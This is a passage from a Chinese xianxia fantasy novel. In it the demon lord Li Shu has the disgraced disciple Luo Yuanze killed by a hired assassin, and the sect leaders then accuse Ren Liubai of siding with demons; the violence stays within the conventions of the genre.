“我叫罗源泽,乃赤霞派内门弟子,今向金满堂借款……”画面中的罗源泽跪在地上,恰如此刻的姿势,只不过他□□,一边自报家门,一边承诺日后会将借款连本带利还给金满堂,否则这段影像可由金满堂随意处置。 赤霞派弟子呆住了,那声音那样貌……画面中的人千真万确是罗源泽,他竟然、竟然用这种方式借高利贷? 该做的事都做了,李恕丢下面如死灰的罗源泽,对魑魅和任流白道了声走。此番引起的动静太大,需得赶在赵灵运出关之前离开赤霞派。 40. 恶果 完了,全完了。罗源泽趴在殿顶,周遭的一切都模糊了,只有脑子里反反复复响起一道声音:他完蛋了。 不仅被同门看见了他借贷的影像,还被李恕抢走魔核,这要他怎么在同门面前抬头?又要怎么向赵灵运交代? 赵灵运,哈哈,赵灵运的作风他太清楚了,罗源泽已经能想到自己的下场。可是为什么?为什么!他好不容易才爬到今天的位置,现在什么都没有了! 都怪李恕,罗源泽目眦欲裂,都怪那个该死的魔族。他就算死,也要拉着李恕一起下地狱! “罗师兄……”不知道是谁叫了他一声,却见罗源泽一跃而起,头也不回地冲向山下。 李恕赶了一天的路,入夜才在林中歇下,魑魅因为李恕阻止他对任流白动手,心中一直耿耿于怀,停下来后第一时间对任流白发难:“尊上,他为什么还跟着我们?” “我要带他回魔界。” “什么?他怎么能去魔界!” 李恕觑他一眼,魑魅赶紧解释:“属下不敢教尊上做事,只是人族卑鄙无耻,我看还是把他杀了省心。” “不敢就闭嘴,我倒是要问你,你怎么会落进赤霞派手中?” 魑魅怒哼一声:“属下不放心尊上一个人去幽兰古国,追您的路上误入了赤霞派的地界,谁知道他们那儿如此古怪,怎么走都走不出去。” “我给你的命令是返回魔界,你自作主张跟踪我该当何罪?”李恕大概能够猜到,罗源泽是通过魑魅发现了她是魔族,若不是因缘巧合,她想救出魑魅还要费一番功夫。 听见质问,魑魅支支吾吾说不出话,最后扑通跪在地上:“尊上息怒,属下甘愿领罚。” “此事回魔界再说,现在去周遭巡视。” “是!” 魑魅听命没入黑暗之中,李恕看向任流白:“你有话要跟我说?” 任流白知道他的想法瞒不过李恕,问道:“他叫你尊上,你在魔界是什么身份?” 李恕微笑:“当然是魔尊,怎么样,配得上你吗?” 任流白的猜测得到证实,又被李恕轻飘飘的一句调戏惹得脸热,认真发道:“与人相交贵在同道,不看身份。” “可是像你这般皎若明月的仙师,我若一穷二白又怎么舍得去攀折?我既然跟你在一起,自然要把你好好捧在手心里。” 任流白的脸更热了,不知该如何回答李恕,魑魅却在此时突然回来,硬挤到李恕与他中间:“尊上,有人来了!” “赤霞派的追兵?” “属下不知,来者似乎只有一人。” 李恕眉尾轻挑,吩咐两人隐匿气息静观其变。很快黑暗中冲出一道人影,罗源泽状若癫狂,他方才看见了魑魅,李恕必然就在附近。 “李恕,滚出来!我要杀了你!” 看清来人,魑魅二话不说跳了出去。 “是你,李恕的狗。”仇人见面分外眼红,罗源泽咬牙切齿,“李恕呢,躲哪儿去了?叫她出来受死。” 魑魅咧开嘴角:“能给尊上当狗是我的荣幸,你这个不穿衣服的人懂什么?” 罗源泽最听不得这件事,当即扑上去与魑魅打斗起来,只不过完全不像修士的打法,撕得血肉横飞。 任流白蹙眉,事到如今,他已经不认为罗源泽能洗心革面重新做人,可他这幅癫狂的样子比原来更难解决了。 很快,魑魅在打斗中占了上风,一脚踹飞罗源泽,随后高高跃起全力砸向他的面门。 罗源泽口鼻之中喷出鲜血,呛得他连声咳嗽。魑魅又毫不客气地补了一脚,踢得罗源泽就地滚出去几圈,报了他在赤霞派的仇。 被踢之后,罗源泽趴在地上笑了两声,摸出一枚丹药塞进口中,踉跄着站了起来。 魑魅最烦这种神神经经的人,只想赶紧把罗源泽杀了完事,然而他一拳砸过去,罗源泽不仅没躲,反而单手接了下来。 魑魅的拳头陷在罗源泽掌中,只觉得一股可怕的力量钳住了他,魑魅惊觉不对,可惜已经来不及了,咔的一声,他的手腕被罗源泽掰断了。 “李恕,我知道你在这里,看见了吗?你再不出来他断的可就不是手了。” “尊上的名字也是你配叫的。”魑魅仿佛感觉不到疼痛,手上不方便就改用腿,一连踹出了十几脚。 罗源泽吃了爆灵丹,此刻灵力沸腾,把他本就强烈的杀心激发得更加不可抑制。猛一用力,硬生生将魑魅的手折了下来。 鲜血溅到脸上,罗源泽又开始呵呵发笑:“我为什么不配叫李恕的名字?你好歹是个纯种魔族,却给一个人不人魔不魔的东西当狗,我都替你觉得丢人。” 魑魅扼住伤口,狠狠啐了一口:“尊上就是尊上,你想当狗也当不了。” 罗源泽懒得和这种脑子有病的魔族废话,冲着黑漆漆的树林大喊:“李恕,我已经知道你是谁了。你娘就是那个自甘堕落、欺师灭祖、被逐出师门的叛徒李……” 话没说完,李恕已经出现在罗源泽的面前,一拳砸在他的胸口。罗源泽倒飞出去,手中的断肢脱力飞出,被李恕接过丢给魑魅:“拿好,回去找罗刹。” 看见李恕现身,罗源泽哈哈大笑,一边笑一边吐血:“我就知道,我就知道哈哈哈哈哈,听见我骂李问心你生气了?那又怎样,我说的是事实。” 李恕面无表情走向他。罗源泽要的就是这个结果,他知道李恕起了杀心,也知道自己不是对手,所以他故意出言激怒李恕,等她靠近,他就立刻自爆金丹同归于尽! 两人仅剩几步之遥,李恕停了下来,转头看向罗源泽来时的方向:“出来。” 罗源泽心中一惊,却见黑暗中走出一道高大的身影,面无表情,背后一把长刀格外瞩目。 “陆风?”罗源泽认出来人身份,神色立刻由惊转喜,陆风不是别人,正是他当初花钱找的杀手。 “陆风,你来得正好!他们俩就在这里,你马上杀了他们。”陆风在杀手中素有美名,一是因为他身手不凡,二是因为他收了钱就会尽心尽力为雇主办事。若是他与陆风联手,未必不能胜过李恕。 出乎意料的是,陆风站在原地没有动弹,甚至连眼神也没有分出去一丝。罗源泽怒道:“你还愣着干什么?难道你怕了?” 陆风这才开口,声音死水一般:“我只是路过。” “什么叫路过,你答应过我杀了他们!” “我答应过,但我们之间的交易已经结束了。” “你在放什么狗屁!”罗源泽破口大骂,骂完忽然想起他对陆风说过这句话。 那日陆风跟丢李恕两人之后去向他复命,罗源泽也像现在一样火大:“你在放什么狗屁!两个人大活人都能跟丢,我雇你有什么用,滚!废物!” 陆风毫无波澜,罗源泽让他滚,他就把收到的订金放在桌上,转身走了。在他眼里,他和罗源泽之间已经没有雇佣关系,所以李恕与任流白自然也就不在他的追杀名单之中。 罗源泽血气翻涌,恨不得把陆风一起杀了。却听李恕问了一句:“你接单吗?” 罗源泽心中顿时涌起一股不好的预感,没等他打断两人,陆风已经给出回答:“接。” “我出一千块晶石,买罗源泽的命。” “好。” 罗源泽头皮发紧:“你疯了吗?这个女人是魔族!你竟然听她的命令杀我?” 李恕扬手丢过去一只储物袋,陆风轻轻一捏,确定够数,遂将储物袋收入怀中,反手去拔背后的刀。 “报酬我已经付清了,你想怎么杀罗源泽都没关系,我只要他死。” 陆风握紧长刀,走了过去。 罗源泽死了。 尸体摆在大殿正中,赵灵运掀开白布向众人展示他脖子上的伤口:“一刀毙命。” 有缺双手合十,道了声阿弥陀佛。 赵灵运出关后火速派人追杀李恕,然而最后只找到了罗源泽尸体。恰在此时,从幽兰古国回来的有缺与付剑心等人途经赤霞派,听闻派中之事立刻前来求见,确定了抢夺天书与抢夺魔核的都是李恕。 赵灵运悲痛欲绝:“我这爱徒一向忠厚老实,却被那魔女逼迫录了不堪入目的影像,以此作为要挟潜入赤霞派。他不堪受辱,宁可与那魔女同归于尽,却到底还是低估了对方的狠辣,最后丢了魔核也丢了性命。” 说到这里,赵灵运目光一转,看向大殿右侧两名沉默的白衣修士。 “那魔女狼子野心,猖狂至极,赤霞派定会叫她付出代价。不过还有一事我不得不说,那魔女并非孤身一人,她身边还有一名修士——玄隐门大弟子任流白!” 任流白三字一出,所有人的目光都集中到两名白衣修士身上,原因无他,他们便是接到消息匆匆赶来的玄隐门掌门虚怀,以及他的独女洛檀音,也就是任流白的小师妹。 “来人,把东西交给虚怀道长。”赵灵运说完,立刻有人呈上一封信,“如何,信上的字迹两位可还眼熟?” 洛檀音心急如焚,抢先接了信展开,没错,是任流白的字迹。 “这是从他们住的红莲别院搜出来的,任流白不仅没有揭穿那魔女的身份,反而在信中写他一切都好,我门下也有弟子可以证明,任流白与那魔女关系亲密,绝非泛泛之交。” 明如月被人带了上来,她飞快 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等她走后,赵灵运再次把矛头指向虚怀:“此番不光我我赤霞派阵毁人亡,损失惨重,连天书也被那魔女抢走一片,后患无穷。当然我也为虚怀道长感到痛心,任何门派出了这种事情想必都会面上无光,上一次紫竹峰是怎么做的来着?”说到这里,赵灵运故意顿了一下,然后才道,“我想起来了,沉璧上人亲自下令逐出叛徒李问心,从此生死不论。那么敢问道长会如何处置勾结魔族的弟子?” “大师兄不会勾结魔族的,这里面一定有误会!”洛檀音站出来为任流白辩解,“我与大师兄从小一起长大,他的为人我再清楚不过,他绝对不会做出这种事情……一定是那个魔族使了什么手段,大师兄是受害者!” “长辈说话,小辈插什么嘴?玄隐门就是这么教导弟子的,还是说虚怀道长就是这么教导女儿的?” 虚怀与有缺是同辈,赵灵运却与他们已逝的师尊才是同辈,单论年龄确实称得上长辈。 洛檀音咬紧牙关。 虚怀面色凝重:“实不相瞒,小徒任流白已经失踪许久了。” “你这叫什么话,难不成你要告诉我任流白已经不是玄隐门的人了?” “自然不是,我对小徒的品性亦可担保,他并非勾结魔族作恶之人,其中或有隐情。还请赵掌门给我一些时间,我一定查明真相给赤霞派一个交代。” 任流白失踪后虚怀之所以选择隐瞒消息,正是担心有人借机生乱,没想到最后还是发生了他不愿看见的事。 赵灵运没那么容易罢休:“我听说任流白是玄隐门年轻一辈中的佼佼者,虚怀道长这番说辞,该不会因为爱惜人才暗中包庇他吧?” “今日青石寺与紫竹峰的道友都在,还请做个见证,在下定会查清此事秉公处理,绝不偏袒半分。” “好,有虚怀道长这句话我就放心了。可惜你们来得太迟,只怕这会儿任流白已经随那魔女逃到魔界了。” 魔界气候异常,地形复杂,魔族生物更是千奇百怪,绝大多数修士都不敢贸然进入魔界。 虚怀默了片刻,看向有缺:“据大师所言,你和紫竹峰小友与那位名叫李恕的魔族有过接触,可知她是什么来头?” 付剑心心神微动,她倒是知道李恕的身份,只是…… 有缺面不改色,合掌答道:“阿弥陀佛,惭愧。” 付剑心:“……” 有缺绝对知道些什么,他在李恕吹笛时露出的恍惚付剑心看得清清楚楚。而且凭他的实力,不可能被李恕用幽冥寒冰冻住,毫无还手之力。他在故意隐瞒。 只一瞬间付剑心就做好了决定,说起来李恕与紫竹峰也有牵扯,还是先禀明沉璧上人为好,于是跟着有缺摇头:“晚辈不知。” 虚怀略一颔首,就此作罢。 半个时辰后,大殿中的人各怀心思,各自散去。付剑心一出来真意便扑到她身边:“师姐,确定是李恕吗?” “嗯。” “和她一伙儿的那个修士真是任流白?” 付剑心没有草率回答,只道:“收拾东西,立刻启程回紫竹峰。” 真意不敢多问,率先回去通知同门。付剑心也往住处走,耳边忽然传来压抑的啜泣。 明如月抱膝坐在树下,脸埋在臂弯里,肩膀微微抽动,付剑心听见的哭声就是她的,她本不该多管闲事,但不知怎地还是问出了那句话:“你还好吗?” 明如月转过头,面上挂着泪痕,怔怔地看着付剑心。 付剑心又问了一遍:“你还好吗?” 明如月终于回过神来,她不想让付剑心看见自己这幅样子,可是越擦眼泪越多:“付仙师,我……” 付剑心递给她一方帕子,明如月更想哭了:“我害死了罗师兄,如果不是我把他们带进来……罗师兄就不会、不会死……” “不是你的错。” 明如月泪眼朦胧,止住哭声。 付剑心看着她:“错的是利用你作恶的人。”